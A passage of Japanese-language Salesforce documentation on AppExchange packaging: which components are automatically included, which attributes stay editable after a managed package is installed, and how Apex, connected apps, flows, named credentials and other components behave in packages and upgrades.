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自動的に追加される可能性があるコンポーネントの種類追加するコンポーネント

フォルダ内のすべてフォルダ

コンポーネント、イベント、インターフェースなど、アプリケーションで
参照されるすべての Lightning リソース。アプリケーションで参照されるカ

Lightning アプリケーション

スタム項目、カスタムオブジェクト、リストビュー、ページレイアウト、
Apex クラスも含まれます。

ネストされたコンポーネント、イベント、インターフェースなど、コンポー
ネントで参照されるすべての Lightning リソース。コンポーネントで参照さ

Lightning コンポーネント

れるカスタム項目、カスタムオブジェクト、リストビュー、ページレイア
ウト、Apex クラスも含まれます。

カスタム項目、カスタムオブジェクト、リストビュー、およびページレイ
アウト

Lightning イベント

カスタム項目、カスタムオブジェクト、リストビュー、およびページレイ
アウト

Lightning インターフェース

アクション、カスタムボタン、カスタムリンク、Sコントロール、および
Visualforce ページ

ページレイアウト

権限セットに割り当てられたカスタム権限、外部データソース、Visualforce

ページ、Apex クラス
権限セット

レコードタイプの対応付け、コンパクトレイアウトレコードタイプ

フォルダ、カスタム項目、カスタムオブジェクト、カスタムレポートタイ
プ、カスタム Sコントロール

レポート

カスタム項目およびカスタムオブジェクトSコントロール

パッケージ内のコンポーネントで選択した言語に翻訳された用語トランスレーション

カスタム項目 (数式中の参照対象)入力規則

関連付けられた Visualforce ページVisualforceホームページコンポー
ネント

カスタムコントローラ、Visualforceカスタムコンポーネント、および参照対
象の項目セットとして使用される Apex クラス

Visualforce ページ

関連付けられたすべてのワークフローアラート、項目自動更新、アウトバ
ウンドメッセージ、ToDo。ワークフロールールがカスタムオブジェクト用
に設計されている場合はカスタムオブジェクトも自動的に含まれる。

ワークフロールール

メモ: 入力規則やレコードタイプなど一部のパッケージコンポーネントは、パッケージコンポーネントの
リストに表示されないことがありますが、パッケージに含まれており、他のコンポーネントと共にイン
ストールされます。
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インストール後のコンポーネントと属性の編集
管理パッケージからインストールした後に編集可能なコンポーネントと属性を次の表に示します。
開発者による編集可能

開発者はこの列のコンポーネント属性を編集できます。これらの属性は、登録者の組織ではロックされま
す。

登録者と開発者による編集可能
登録者と開発者はこの列のコンポーネント属性を編集できます。ただし、これらの属性はアップグレード
できません。新規登録者のみ、最新の変更を受信します。

ロック
パッケージが「管理-リリース済み」になると、開発者と登録者はこの列のコンポーネント属性を編集でき
ません。

ロック登録者と開発者による編
集可能

開発者による編集可能コンポーネント

アクション •• 対象レコードタイプ 対象レコードタイプを
除くすべての項目• アクションレイアウト

• アクション項目の定義
済みの値

レポート作成スナップ
ショット

•• レポート作成スナップ
ショットの一意の名前

レポート作成スナップ
ショットの一意の名前
を除くすべての属性

Apex クラス •• API バージョン 名前
• コード

Apex 共有の理由 •• 理由の名前理由の表示ラベル

Apex 共有再適用 • Apex クラス

Apex トリガ •• API バージョン 名前
• コード

アプリケーション •• アプリケーション名アプリケーション名を
除くすべての属性

記事タイプ •• カスタマーポータルで
利用可

• 説明 名前
• 表示ラベル

• チャネル表示• 表示ラベル (複数形)
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ロック登録者と開発者による編
集可能

開発者による編集可能コンポーネント

• デフォルトの共有モデ
ル

• Starts with a Vowel Sound

(英語環境でのみ表示さ
れる)

• 開発状況
• ディビジョンを有効化
• 階層を使用したアクセ

ス許可
• 検索レイアウト

コンパクトレイアウト • すべての属性

接続アプリケーション • API 名• ACS URL• アクセス方法
• エンティティ ID• •キャンバスアプリケー

ション URL

作成日/作成者
• IP 制限の緩和 • コンシューマキー

• コールバック URL • 権限セットの管理 • コンシューマの秘密
• 接続アプリケーション

名
• プロファイルの管理 • インストール実行者
• モバイルの開始 URL • インストール日

• 取引先責任者メール • 許可されているユーザ • 最終更新日/最終更新者
• 取引先責任者電話 • 更新トークンポリシー • バージョン
• 説明 • SAML 属性
• アイコン URL • サービスプロバイダ証

明書• 情報 URL

• 信頼済み IP 範囲 • 開始 URL

• 場所 • 件名種別
• ロゴ画像 URL

• OAuth 範囲

カスタムボタンまたはカ
スタムリンク

• 表示の種類• 高さ• 動作
• ••ボタンまたはリンク

URL
名前サイズ変更可能

• アドレスバーの表示
• 内容のソース • メニューバーの表示
• 説明 • スクロールバーの表示
• 表示チェックボックス • ステータスバーの表示
• 表示ラベル • ツールバーの表示
• リンクのエンコード • 幅

• ウィンドウの位置
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ロック登録者と開発者による編
集可能

開発者による編集可能コンポーネント

カスタム項目 • 子リレーション名• Chatter フィード追跡• 自動採番の表示形式
• 小数点の位置 • データ型• ヘルプテキスト

• マスク型• 説明 • 外部 ID

• 項目名• マスク文字• デフォルト値
• 項目表示ラベル • 積み上げ集計項目• 共有設定

• 並び替え選択リストの
値

• 数式 • 積み上げ集計オブジェ
クト• 文字数/桁数

•• 積み上げ集計種別項目履歴管理• ルックアップ検索条件
• 一意• 関連リスト表示ラベル

• 必須項目
• 積み上げ集計の検索条

件

カスタム表示ラベル •• カテゴリ 名前
• 短い説明
• 値

カスタムオブジェクト • オブジェクト名• 活動を許可• 説明
• 表示ラベル • レコード名のデータ型• レポートを許可

• カスタマーポータルで
利用可

• 表示ラベル (複数形) • レコード名の表示形式
• レコード名

• 状況に応じたヘルプの
設定

• Starts with a Vowel Sound

(英語環境でのみ表示さ
れる) • デフォルトの共有モデ

ル
• 開発状況
• ディビジョンを有効化
• 高度なルックアップ
• 階層を使用したアクセ

ス許可
• 検索レイアウト
• 項目履歴管理

カスタム権限 • 接続アプリケーション
• 説明
• 表示ラベル
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ロック登録者と開発者による編
集可能

開発者による編集可能コンポーネント

• 名前

カスタムレポートタイプ ••• レポートタイプ名開発状況開発状況とレポートタ
イプ名を除くすべての
属性

カスタム設定 • オブジェクト名• 説明
• • 設定種別表示ラベル

• 表示

ダッシュボード •• ダッシュボードの一意
の名前

ダッシュボードの一意
の名前を除くすべての
属性

ドキュメント •• ドキュメントの一意の
名前

ドキュメントの一意の
名前を除くすべての属
性

メールテンプレート •• メールテンプレート名メールテンプレート名
を除くすべての属性

外部データソース •• 認証プロバイダ• 名前型
• 証明書
• カスタム設定
• エンドポイント
• ID 種別
• OAuth 範囲
• Password

• プロトコル
• ユーザ名

項目セット ••• 説明 名前選択済みの項目 (登録者
による制御のみ)• 表示ラベル

• 選択可能な項目

Lightning ページ • Lightning ページ

フロー • フローの一意の名前• 名前• フロー全体
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ロック登録者と開発者による編
集可能

開発者による編集可能コンポーネント

• URL• 説明
• 状況

フォルダ •• フォルダの一意の名前フォルダの一意の名前
を除くすべての属性

ホームページのコンポー
ネント

• 名前• 内容
• •コンポーネントの位置 型

ホームページのページレ
イアウト

•• レイアウト名レイアウト名を除くす
べての属性

レターヘッド •• レターヘッド名レターヘッド名を除く
すべての属性

名前Lightning アプリケーショ
ン

• API バージョン
• 説明
• 表示ラベル
• マークアップ

名前Lightning コンポーネント • API バージョン
• 説明
• 表示ラベル
• マークアップ

名前Lightning イベント • API バージョン
• 説明
• 表示ラベル
• マークアップ

名前Lightning インターフェー
ス

• API バージョン
• 説明
• 表示ラベル
• マークアップ

リストビュー •• ビューの一意の名前ビューの一意の名前を
除くすべての属性
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ロック登録者と開発者による編
集可能

開発者による編集可能コンポーネント

指定ログイン情報 •• 認証プロバイダ• エンドポイント 名前
•• 証明書表示ラベル
• ID 種別
• OAuth 範囲
• Password

• プロトコル
• ユーザ名

ページレイアウト •• ページレイアウト名ページレイアウト名を
除くすべての属性

権限セット •• 説明 名前
• 表示ラベル
• カスタムオブジェクト

権限
• カスタム項目権限
• Apexクラスのアクセス

設定
• Visualforceページのアク

セス設定

プラットフォームキャッ
シュ

• すべての属性

レコードタイプ •• 有効• 説明 名前
•• ビジネスプロセスレコードタイプの表示

ラベル

リモートサイト名を除く
すべての属性

リモートサイトの設定 • リモートサイト名

レポート •• レポートの一意の名前レポートの一意の名前
を除くすべての属性

Sコントロール • Sコントロール名•• コンテンツ ページにプレビルド
• •説明 型
• 文字コード
• ファイル名
• 表示ラベル
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ロック登録者と開発者による編
集可能

開発者による編集可能コンポーネント

静的リソース •• 説明 名前
• ファイル

タブ •• Salesforce Classic Mobile対
応

• 説明 タブ名
• 文字コード

• タブスタイル• サイドバーあり
• 高さ
• 表示ラベル
• Sコントロール
• スプラッシュページの

カスタムリンク
• 型
• URL

• 幅

トランスレーション • すべての属性

入力規則 ••• 説明 ルール名有効
• エラー条件数式
• エラー表示場所
• エラーメッセージ

Visualforceコンポーネント •• API バージョン 名前
• 説明
• 表示ラベル
• マークアップ

Visualforce ページ •• API バージョン 名前
• 説明
• 表示ラベル
• マークアップ

ワークフローメールアラー
ト

•• 追加のメール 説明
• メールテンプレート
• 差出人メールアドレス
• メール受信者
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ロック登録者と開発者による編
集可能

開発者による編集可能コンポーネント

ワークフロー項目自動更
新

••• 説明 名前ルックアップ
• 項目値
• 数式の値

ワークフローアウトバウ
ンドメッセージ

••• 説明 名前送信ユーザ
• エンドポイント URL

• 送信する項目
• 送信セッション ID

ワークフロールール ••• 説明 ルール名有効
• 評価条件
• ルール条件

ワークフロー ToDo •• 任命先 件名
• コメント
• 期日
• 優先度
• レコードタイプ
• 状況
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パッケージでのコンポーネントの動作

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

AppExchange パッケージ
を作成する
• 「AppExchange パッ

ケージの作成」

配布するアプリケーションを作成する場合は、パッケージに含めるもの、アプ
リケーションの設計方法、およびパッケージの配布方法 (管理または未管理) を
決定してください。

メモ:

• コンポーネント名は、組織内で一意にする必要があります。コンポーネ
ント名がインストーラの組織で競合しないようにするため、管理パッ
ケージを使用して、すべてのコンポーネント名に名前空間プレフィック
スが含まれるようにしてください。

Apex クラスまたはトリガ
パッケージの一部として含まれているApexはいずれも、累積テストカバー率
が少なくとも 75% である必要があります。各トリガについても何らかのテス
トを行う必要があります。パッケージをAppExchangeにアップロードすると、
すべてのテストが実行され、エラーがない状態で実行されていることが確認
されます。また、インストーラの組織にパッケージがインストールされると
きにも、すべてのテストが実行されます。インストーラは、テストに失敗し
た場合にパッケージをインストールするかどうかを決めることができます。

ヒント: 名前が競合することを避けるため、Salesforce では、Apex を含む
すべてのパッケージに管理パッケージを使用することをお勧めします。
このようにすると、すべての Apex オブジェクトに名前空間プレフィッ
クスが含まれます。たとえば、MyHelloWorld という Apex クラスがあ
り、組織の名前空間が OneTruCode の場合、クラスは
OneTruCode.MyHelloWorld として参照されます。

パッケージに Apex を含めるときの考慮事項は、次のとおりです。
• 管理パッケージは、一意の名前空間を受け取ります。この名前空間は、インストール先の組織で名前の

重複を防ぐために、クラス名、メソッド、変数などの先頭に自動的に追加されます。
• 1 つのトランザクションでは、10 個の一意の名前空間のみを参照できます。たとえば、オブジェクトを

更新するときに、管理パッケージでクラスを実行するオブジェクトがあるとします。その後、クラスは
2 番目のオブジェクトを更新します。つまり、他のパッケージの他のクラスを実行します。最初に 2 番
目のパッケージに直接アクセスしない場合でも、同じトランザクション内で発生するため、1 つのトラ
ンザクションでアクセスする名前空間の数に含まれます。

• メソッドを Web サービスとして公開する場合は、登録者が Web サービスを呼び出す外部コードを記述で
きるように、詳細を説明したドキュメントを含めてください。

• Apexクラスがカスタム表示ラベルを参照していて、その表示ラベルが翻訳されている場合、翻訳をパッ
ケージに含めるには、必要な個々の言語を明示的にパッケージ化します。

• Apex でカスタムオブジェクトの共有オブジェクト (MyCustomObject__share など) を参照すると、共有モデ
ルの連動関係がパッケージに追加されます。他の組織がパッケージを正常にインストールできるように
するには、カスタムオブジェクトに対する組織の共有設定のアクセス権を [非公開] に設定する必要があ
ります。
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• 管理パッケージの一部である Apex クラス、トリガ、または Visualforce コンポーネントに含まれるコード
は難読化され、インストール先の組織で見ることができません。唯一の例外は、グローバルとして宣言
されたメソッドです。グローバルメソッドの署名は、インストール先の組織で表示できます。また、
「管理された Apex の表示およびデバッグ」権限を持つライセンス管理組織ユーザは、登録者サポート
コンソールで登録者組織にログインしたときにパッケージの難読化されたApexクラスを表示できます。

• Apex の deprecated アノテーションを使用して、今後のリリースの管理パッケージでは参照できない
globalメソッド、クラス、例外、列挙、インターフェース、変数を指定できます。要件の変化にとも
なって、管理パッケージのコードをリファクタリングする場合に役立ちます。別のパッケージバージョ
ンを「管理-リリース済み」としてアップロードすると、最新のパッケージバージョンをインストール
する新しい登録者に非推奨の要素が表示されることはありませんが、その要素は既存の登録者および
API インテグレーションでは機能し続けます。

• 明示的に名前空間を参照する未管理パッケージに含まれる Apex は、アップロードできません。
• データカテゴリを参照する Apex コードは、アップロードできません。
• パッケージから Visualforce ページまたはグローバル Visualforce コンポーネントを削除する前に、削除する

ページまたはコンポーネントから公開 Apex クラスおよび公開 Visualforce コンポーネントへのすべての参
照を削除します。参照を削除したら、ページまたはグローバルコンポーネントを削除する前に、登録者
を中間パッケージバージョンにアップグレードします。

Apex 共有の理由
Apex 共有の理由は、パッケージに直接追加できますが、カスタムオブジェクトに対してしか使用できませ
ん。

コンパクトレイアウト
コンパクトレイアウトをパッケージ化する場合、そのレコードタイプの対応付けは含まれません。コンパ
クトレイアウトを含むパッケージの登録者またはインストーラは、そのレコードタイプの対応付けを各自
の組織で再作成する必要があります。

接続アプリケーション
• 接続アプリケーションは、管理パッケージにのみ追加できます。未管理パッケージでは接続アプリケー

ションはサポートされていません。
• パッケージの登録者またはインストーラは、接続アプリケーションを単独で削除することはできませ

ん。そのパッケージのアンインストールのみを行えます。開発者はパッケージが「管理-リリース済み」
としてアップロードされた後に、接続アプリケーションを削除できます。接続アプリケーションは、
パッケージのアップグレード中に登録者の組織で削除されます。

• 接続アプリケーションを更新して、それを新しいパッケージバージョンに含めると、顧客組織でその
パッケージをアップグレードすれば、既存の接続アプリケーションが更新されます。

• OAuth 範囲または IP 範囲が前のバージョンから変更された接続アプリケーションを含むパッケージを転
送アップグレードすると、アップグレードは失敗します。これは、インストール済みパッケージをアッ
プグレードすることによって、顧客組織への広範なアクセス権を未承認ユーザが取得することをブロッ
クするセキュリティ機能の一種です。この場合でも、顧客は同じパッケージのプルアップグレードを行
えます。ただし、これは顧客の知識と同意がある場合に行えます。

• 既存の接続アプリケーション (つまり、Summer '13 よりも前に作成された接続アプリケーション) は、管
理パッケージに追加できます。また、同じ管理パッケージに新しい接続アプリケーションと既存の接続
アプリケーションを組み合わせることもできます。
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• Summer '13 よりも前に作成された接続アプリケーションの場合、新しいバージョンをパッケージ化して
アップロードするまで、既存のインストール URL をそのまま使用できます。更新済みの接続アプリケー
ションを含むパッケージの新しいバージョンがアップロードされると、そのインストール URL は機能し
なくなります。

カスタムコンソール
カスタムコンソールコンポーネントがあるパッケージは、Service Cloud ライセンスがある組織か、「セール
スコンソール」権限が有効になっている組織にのみインストールできます。

カスタム項目
• カスタム項目の選択リスト項目値は、登録者が追加、編集、削除できます。コード内で選択リスト値を

明示的に参照する場合、開発者はこの点を慎重に検討してください。選択リスト値は、開発者が追加ま
たは削除できます。パッケージのアップグレード時に、登録者の組織では、既存の項目に新しい選択リ
スト値はインストールされません。開発者が削除したすべての選択リスト値は、登録者の組織で引き続
き使用できます。

• 開発者は、デフォルト値がある限り、必須のカスタム項目を管理パッケージに追加できます。
• 自動採番種別の項目および必須項目は、オブジェクトが管理-リリース済みパッケージでアップロード

された後には追加できません。
カスタム表示ラベル

表示ラベルが翻訳されている場合、翻訳をパッケージに含めるには言語を明示的にパッケージに含める必
要があります。登録者は、カスタム表示ラベルのデフォルトの翻訳を上書きできます。

カスタムオブジェクト
• パッケージ化したカスタムオブジェクトで開発者が [レポートを許可]または [活動を許可]属性を有効

にすると、アップグレード時に登録者の組織でもこれらの機能が有効化されます。管理-リリース済み
パッケージでこれらの属性を有効にすると、開発者と登録者のいずれもこれらを無効にできません。

• 標準ボタンおよびリンクの上書きも、パッケージ化できます。
• 拡張パッケージで、基本パッケージに含まれるカスタムオブジェクトの履歴情報にアクセスする場合

は、基本パッケージの所有者と協力して次の操作を行います。
1. 基本パッケージのリリース組織で履歴管理を有効にします。
2. 基本パッケージの新しいバージョンをアップロードします。
3. 拡張パッケージのリリース組織で基本パッケージの新しいバージョンをインストールし、履歴管理

情報にアクセスします。
基本パッケージに含まれるカスタムオブジェクトの履歴管理を、拡張パッケージのリリース組織で直接
有効にすることはお勧めしません。有効にすると、パッケージをインストールするとき、および拡張
パッケージのパッチ組織を作成するときに、エラーが発生することがあります。

カスタム権限
接続アプリケーションを含むカスタム権限のある変更セットをリリースする場合、接続アプリケーション
が対象組織にすでにインストールされている必要があります。

カスタムレポートタイプ
開発者は、リリース後の管理パッケージ内のカスタムレポートタイプを編集し、新しい項目を追加できま
す。登録者は、管理パッケージの新しいバージョンをインストールするときに、こうした変更を自動的に
受け取ります。ただし、開発者は、パッケージがリリースされた後にオブジェクトをレポートタイプから
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削除できません。管理パッケージの一部であるカスタムレポートタイプから項目を削除し、削除した項目
がバケット化の一部であるかグループ化で使用されていると、エラーメッセージが表示されます。

カスタム設定
• 管理パッケージにカスタム設定が含まれていて、[表示] が [保護] に指定されている場合、カスタム設

定は登録者組織のパッケージのコンポーネントリストには含まれません。カスタム設定のすべてのデー
タは、登録者には表示されません。

カスタムタブ
• カスタムタブの [タブスタイル] は、アプリケーション内で一意である必要があります。ただし、アプ

リケーションがインストールされた組織内では一意でなくてもかまいません。カスタムタブのスタイル
は、インストーラの環境にある既存のカスタムタブとは競合しません。

• カスタムタブ名を異なる言語で表示するには、[設定] から [クイック検索] ボックスに「タブと表示ラベ
ルの名称変更」と入力し、[タブと表示ラベルの名称変更] を選択します。

• 登録者は管理パッケージ内のカスタムタブを編集することはできません。
カスタマーポータルとパートナーポータル

カスタマーポータルまたはパートナーポータルの項目を参照するパッケージがサポートされています。パッ
ケージをインストールするには、登録者はそれぞれのポータルを有効にしておく必要があります。

ダッシュボードコンポーネント
管理パッケージの開発者は、パッケージの前のバージョンでリリースされたレポートを参照するダッシュ
ボードコンポーネントを導入することの意味を考慮する必要があります。登録者がレポートを削除したり、
個人フォルダにレポートを移動したりすると、そのレポートを参照するダッシュボードコンポーネントは
インストールに含まれません。また、登録者がレポートを変更した場合は、そのレポートではダッシュボー
ドコンポーネントで表示される情報に影響する結果が返される可能性があります。そのため、開発者はダッ
シュボードとその関連レポートを同じバージョンでリリースする必要があります。

ディビジョン
• パッケージ内のカスタムオブジェクトでディビジョンが有効になっている場合、パッケージをインス

トールするには、登録者の組織でもディビジョン機能が有効になっている必要があります。
• レポートでディビジョン条件を設定しても、連動関係は設定されません。登録者の組織にインストール

されるときに、設定は削除されます。
• レポートでオブジェクトのディビジョン項目 (たとえば取引先のディビジョン) を集計すると、連動関係

が設定されます。
• レポート内のオブジェクトのディビジョン項目が列として含まれていて、登録者の組織がオブジェクト

のディビジョンをサポートしていない場合、列はインストール時に削除されます。
• オブジェクトのディビジョン項目が列として含まれるカスタムレポートタイプをインストールすると、

組織がディビジョンをサポートしていない場合、その列は削除されます。
外部データソース

• 外部データソースを管理パッケージまたは未管理パッケージからインストールした後、登録者は外部シ
ステムへの再認証を行う必要があります。
– パスワード認証の場合、登録者は外部データソース定義でパスワードを再入力する必要があります。
– OAuth の場合、登録者は認証プロバイダのクライアント設定でコールバック URL を更新してから、外

部データソースで [保存時に認証フローを開始] を選択して再認証する必要があります。
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• 証明書はパッケージ化できません。証明書を指定する外部データソースをパッケージ化する場合は、同
じ名前の有効な証明書が登録者組織に存在することを確認してください。

外部オブジェクト
管理パッケージおよび未管理パッケージでは、外部オブジェクトはカスタムオブジェクトコンポーネント
に含まれます。

項目の連動関係
• 開発者と登録者は、項目の連動関係を追加、変更、または削除できます。
• 開発者が項目の連動関係を追加すると、登録者がすでに同じ項目に連動関係を指定していない限り、こ

の連動関係はインストール時に追加されます。
• 開発者が連動関係を削除すると、この変更がアップグレード時に登録者の組織で反映されません。
• 開発者が連動項目と制御項目間に新しい選択リスト値の対応付けを導入すると、この対応付けはアップ

グレード時に追加されます。
• 開発者が選択リスト値の対応付けを削除すると、この変更はアップグレード時に登録者の組織で反映さ

れません。
項目セット

インストール済みパッケージの項目セットでは、パッケージのアップグレード時に異なるマージ操作が行
われます。

パッケージアップグレードでの動作パッケージ開発者の操作

変更された項目は、追加先がどの列であっても、
アップグレードされた項目セットの最後に追加され
ます。

項目を [使用できません] から [項目セットで使用可
能] または [項目セットで] に変更

新規項目は、追加先がどの列であっても、アップグ
レードされた項目セットの最後に追加されます。

新規項目を追加

項目は、アップグレードされた項目セットから削除
されます。

項目を [項目セットで使用可能] または [項目セット
で] から [使用できません] に変更

変更はアップグレードされた項目セットには反映さ
れません。

項目を [項目セットで] から [項目セットで使用可能]

に変更 (またはその逆)

メモ: 登録者には、インストール済み項目セットへの変更が通知されません。開発者は、パッケージ
のリリースノートやその他のドキュメントを介して、リリース済み項目セットへの変更についてユー
ザに通知する必要があります。差し込みを行うと、項目セットから項目が削除される可能性がありま
す。

項目セットがインストールされると、登録者はどの項目でも追加または削除できます。
フロー

• パッケージ化できるのは有効なフローのみです。フローの有効なバージョンは、パッケージバージョン
をアップロードするときに決定されます。フローのバージョンがいずれも有効でない場合は、アップ
ロードに失敗します。
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• 異なるバージョンのフローで管理パッケージを更新するには、そのバージョンを有効化して、そのパッ
ケージを再アップロードします。パッケージに新しく有効化されたバージョンを追加する必要はありま
せん。ただし、誤ってフローバージョンを有効化し、パッケージをアップロードすると、そのフロー
バージョンが全ユーザに配布されます。確実にアップロードする必要があるバージョンであることを確
認してください。

• リリース組織では、フローをリリースまたはベータ管理パッケージにアップロードすると、フローまた
はフローバージョンを削除できません。

• 開発組織の管理-ベータパッケージのインストールからはフローコンポーネントを削除できません。
• インストール済みのパッケージからフローを削除することはできません。パッケージ化されたフローを

組織から削除するには、無効にしてからパッケージをアンインストールします。
• 複数の未管理パッケージからインストールされた複数のバージョンのあるフローがある場合は、その

パッケージをアンインストールすると 1 つのバージョンのみを削除できます。フローの単一のバージョ
ンを含むパッケージ (管理または未管理) のアンインストールを行うと、すべてのバージョンを含むフ
ロー全体が削除されます。

• フローをパッケージパッチに含めることはできません。
• パッケージの有効なフローは、インストール後は有効です。新しくインストールされたバージョンが優

先され、対象組織のフローの以前の有効なバージョンは無効になります。現在無効になっているバー
ジョンに基づく進行中のフローがある場合は、引き続き無停止で実行できますが、前のバージョンのフ
ローが反映されます。

• 組織で管理パッケージのアップグレードを行うと、開発者からより新しいフローバージョンがリリース
されている場合に限り、新しいフローバージョンがインストールされます。複数回アップグレードを行
うと、フローバージョンが複数になることがあります。

• 新規の対象組織に複数のバージョンのフローを含むパッケージをインストールすると、最新バージョン
のフローのみがリリースされます。

• 組織に存在するフローと同じ名前で、異なるバージョン番号を持つ未管理のパッケージからフローをイ
ンストールする場合、新たにインストールされたフローは、既存のフローの最新バージョンになりま
す。ただし、パッケージ化されたフローの名前とバージョン番号が組織のフローのものと同じである場
合、パッケージのインストールは失敗します。フローを上書きすることはできません。

• Cloud Flow Designer は管理パッケージからインストールされたフローを開くことができません。
• 管理パッケージページと未管理パッケージページの両方から呼び出されるフローを含むパッケージは作

成できません。回避策として、コンポーネントのそれぞれの種別に 1 つずつ、2 つのパッケージを作成
します。たとえば、管理パッケージページによって呼び出されるカスタマイズ可能なフローをパッケー
ジ化するとします。その場合、ユーザがカスタマイズできるフローを使用して 1 つの未管理パッケージ
を作成します。次に、最初のパッケージからのフローを参照する (名前空間を含む) Visualforceページを使
用して別の管理パッケージを作成します。

フォルダ
• Salesforce でフォルダに格納されるコンポーネント (ドキュメントなど) が個人フォルダや未整理のフォル

ダに格納されている場合は、パッケージに追加できません。Salesforceでフォルダに格納されるドキュメ
ント、レポート、その他のコンポーネントは、公開されているフォルダに保存してください。

• ドキュメント、メールテンプレート、レポートまたはダッシュボードなどのコンポーネントは、公開者
のフォルダ名を使用してインストーラの組織の新規フォルダに格納されます。これらのフォルダには、
パッケージの一部であることを示す名前を付けます。
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• 新しいレポート、ダッシュボード、ドキュメント、またはメールテンプレートがアップグレード時にイ
ンストールされ、コンポーネントが含まれているフォルダが登録者によって削除されている場合、フォ
ルダは再作成されます。以前に削除されたフォルダに格納されていたコンポーネントは復元されませ
ん。

• フォルダに含まれているコンポーネントの名前は、個人フォルダを除き、同じコンポーネントタイプの
すべてのフォルダで一意である必要があります。個人フォルダに含まれているコンポーネントは、個人
フォルダでのみ一意である必要があります。

ホームページのコンポーネント
カスタムホームページのレイアウトをパッケージ化すると、ページレイアウトに含まれているすべてのカ
スタムホームページのコンポーネントが自動的に追加されます。「お知らせ」などの標準コンポーネント
は、パッケージに含まれておらず、インストーラの「お知らせ」を上書きすることはありません。カスタ
ムホームページのレイアウトにメッセージを含めるには、メッセージを含む HTML エリアタイプのカスタム
ホームタブのコンポーネントを作成します。[設定] から、[クイック検索]ボックスに「ホームページのコン
ポーネント」と入力し、[ホームページのコンポーネント]を選択します。次に、メッセージをカスタムホー
ムページのレイアウトに追加します。

ホームページのページレイアウト
インストール後は、すべての登録者のホームページのページレイアウトが、カスタムホームページのレイ
アウトに表示されます。ページレイアウト名にアプリケーション名を含めることで、レイアウトを区別し
ます。

リストビュー
クエリに関連付けられているリストビューをパッケージに含めることはできません。

マルチ通貨
• オブジェクトの通貨項目が列として含まれるレポートまたはカスタムレポートタイプを登録者がインス

トールする場合、登録者の組織でマルチ通貨が有効にされていないと、その列は削除されます。
• レポートの条件でオブジェクトの通貨項目 ([取引先 通貨]など) を参照すると、連動関係が設定されま

す。
• レポート内のオブジェクトの通貨項目を集計すると、連動関係が設定されます。
• レポート条件値で通貨指定 (たとえば、「年間売上次の文字列と一致する GBP 100」) を使用すると、連

動関係は設定されません。レポートでは、インストーラの組織で実行されるときに通貨をサポートして
いない場合、エラーが生成されます。

• レポート内のオブジェクトの通貨項目が列として含まれていて、登録者の組織でマルチ通貨が有効にさ
れていない場合、列はインストール時に削除されます。

• オブジェクトの通貨項目が列として含まれるカスタムレポートタイプを登録者がインストールする場
合、組織でマルチ通貨が有効にされていないと、その列は削除されます。

指定ログイン情報
• 指定ログイン情報を管理パッケージまたは未管理パッケージからインストールした後、登録者は外部シ

ステムへの再認証を行う必要があります。
– パスワード認証の場合、登録者は指定ログイン情報定義でパスワードを再入力します。
– OAuth の場合、登録者は認証プロバイダのクライアント設定でコールバック URL を更新し、指定ログ

イン情報で [保存時に認証フローを開始] を選択して再認証します。
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• 指定ログイン情報はパッケージに自動的に追加されません。コールアウトエンドポイントとして指定ロ
グイン情報を指定する外部データソースまたは Apex コードをパッケージ化する場合、指定ログイン情
報をパッケージに追加します。または、登録者組織に同じ名前の有効な指定ログイン情報があることを
確認します。
複数の組織がある場合、各組織に同じ名前でエンドポイント URL が異なる指定ログイン情報を作成でき
ます。これにより、それらの指定ログイン情報の共有名を参照するコールアウト定義を 1 つだけパッ
ケージして (すべての組織で) リリースできます。たとえば、各組織の指定ログイン情報に異なるエンド
ポイント URL を指定して、開発環境と本番環境の違いに対応することができます。Apexコールアウトで
それらの指定ログイン情報の共有名が指定されている場合、コールアウトを定義するApexクラスをパッ
ケージ化して、プログラムで環境をチェックすることなく、すべての組織にリリースできます。

• 証明書はパッケージ化できません。証明書を指定する指定ログイン情報をパッケージ化する場合は、同
じ名前の有効な証明書が登録者組織に存在することを確認してください。

• 指定ログイン情報の次のコールアウトオプションは、ユーザインターフェースからのみ設定できます。
デフォルト値が対象組織に対して適切ではない場合、その組織のシステム管理者がリリース後に手動で
指定ログイン情報を設定する必要があります。
– 認証ヘッダーを生成  — デフォルト: 有効化
– HTTP ヘッダーの差し込み項目を許可  — デフォルト: 無効化
– HTTP 本文の差し込み項目を許可  — デフォルト: 無効化

ページレイアウト
パッケージをアップロードするユーザのページレイアウトは、Group Edition および Professional Edition 組織で
使用されるレイアウトであり、それが Enterprise Edition、Unlimited Edition、Performance Edition、Developer Edition

組織のデフォルトのページレイアウトになります。
パッケージページレイアウトが既存のオブジェクトにインストールされている場合、そのレイアウトは、
補完的なレコードタイプと一緒にパッケージ化します。一緒にパッケージ化しない場合は、インストール
済みのページレイアウトを手動でプロファイルに適用します。
パッケージをインストールした結果としてページレイアウトとレコードタイプが作成されると、インストー
ルまたはアップグレード時にプロファイルが対応付けられない限り、アップロードするユーザのこのレコー
ドタイプに割り当てられたページレイアウトが、登録者組織のすべてのプロファイルの同じレコードタイ
プに割り当てられます。

権限セット
パッケージには、次の権限およびアクセス設定を指定した権限セットをコンポーネントとして含めること
ができます。
• カスタムオブジェクト権限
• 外部オブジェクト権限
• カスタム項目権限
• カスタム権限
• カスタムタブ表示の設定
• Apex クラスのアクセス
• Visualforce ページのアクセス
• 外部データソースへのアクセス
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メモ: 割り当てられたアプリケーションおよび標準タブ表示は、権限セットコンポーネントには含ま
れません。

権限のコレクションをインストールまたはアップグレードするには、権限セットを使用します。プロファ
イル設定とは対照的に、権限セットでプロファイルは上書きされません。

選択リスト値
• 登録者は選択リスト項目値の名前を変更または削除できます。Apexで選択リスト値を明示的に参照する

場合、開発者はこの点を慎重に検討してください。
• 選択リスト項目値は、開発者の組織で追加または削除できます。アップグレード時に新しい値はインス

トールされません。開発者が削除した値は、登録者が削除するまで登録者の組織で引き続き使用できま
す。

プロファイルの設定
プロファイルの設定には、パッケージ内のコンポーネントについて次の項目が含まれます。
• 割り当てられたアプリケーション
• 割り当てられた接続アプリケーション
• タブ設定
• ページレイアウトの割り当て
• レコードタイプの割り当て
• カスタムオブジェクト権限
• 外部オブジェクト権限
• カスタム項目権限
• カスタム権限
• Apex クラスのアクセス
• Visualforce ページのアクセス
• 外部データソースへのアクセス
プロファイルの設定により、インストーラの組織の既存のプロファイルが特定の権限および設定変更で上
書きされます。

レコードタイプ
• パッケージにレコードタイプが含まれている場合、パッケージをインストールするには、登録者の組織

がレコードタイプをサポートしている必要があります。
• 新しい選択リスト値がインストールされると、その値は開発者が指定した対応付けに基づいて、インス

